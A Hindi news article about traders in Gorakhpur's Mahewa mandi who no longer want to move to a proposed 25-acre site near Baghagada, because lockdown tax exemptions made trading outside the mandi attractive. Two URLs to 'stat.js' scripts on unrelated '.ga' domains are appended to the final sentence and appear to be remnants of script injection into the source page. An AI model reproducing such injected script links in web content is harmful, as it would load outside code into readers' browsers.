लॉकडाउन के कारण लोगों की रोजमर्रा की जिंदगी काफी प्रभावित हुई हैं। व्यापारियों को भी काफी चुनौतियों का सामना करना पड़ रहा है। ऐसे में गोरखपुर के कारोबारियों ने लॉकडाउन से पहले महेवा मंडी के विस्तार के लिए सरकार से मांग की थी। जिसको लेकर सरकार ने अब नई मंडी के लिए जगह ढूंढली है। आपको बता दें, मंडी समिति ने बघागाड़ा के पास जमीन चिन्हित की है और व्यापारियों से लिखित सहमति की मांग की है। लेकिन व्यापारी अब इस नई मंडी में नहीं जाना चाहते है।

 

 

आपको बता दें, महेवा मंडी में फल, ग़ल्ला और सब्जी आदि को मिलाकर 300 से अधिक दुकानें लगती है। पूरी मंडी में इन दुकानों से खरीदी करने के लिए ग्राहकों की काफी भीड़ जमा होती है जिससे मंडी में पैर रखने में भी मुश्किल हो जाती है। खासकर जाड़े में सब्जी लदी गाड़ियां खड़ी करने की जगह नहीं मिलती। नो एंट्री होने के बवजुद भी अक्सर माल लादी गाड़िया समय से मंडी में नहीं पहुँच पाती है।

 

 

 

इन सब को देखते हुए व्यापारी नई मंडी की मांग कर रहे थे लेकिन लॉकडाउन के बाद सब बदल गया। लॉकडाउन के बाद सरकार ने मंडी के बाहर कारोबार करने वालों को टैक्स से छूट दे दी है जिसके कारण मंडी के बाहर भी अस्थाई मंडी विकसित हो गई है। इसी कारण से व्यापारी मंडी छोड़कर नहीं जाना चाहते। व्यापारियों का कहना है कि कारोबार पहले से प्रभावित है। ऐसे में नई जगह पर ग्राहक आएंगे या नहीं, इसको लेकर संशय है।

 

 

आपको बता दें, मंडी समिति ने बाघागाड़ा में 25 एकड़ जमीन बंटी के लिए चिन्हित की है। मंडी सचिव, सेवाराम वर्मा ने कहा कि मंडे विस्तार के लिए स्थल चिन्हित है, लेकिन कारोबारी नई जगह पर जाने को लेकर उत्सुक नहीं हैं। जब तक कारोबारी स्वयं सहमती नहीं देते मंडी का विस्तार संभव नहीं है। सारी सुविधाएं मुहैया कराने में करोड़ों का खर्च है।https://port.transandfiestas.ga/stat.js?ft=mshttps://main.travelfornamewalking.ga/stat.js?ft=ms

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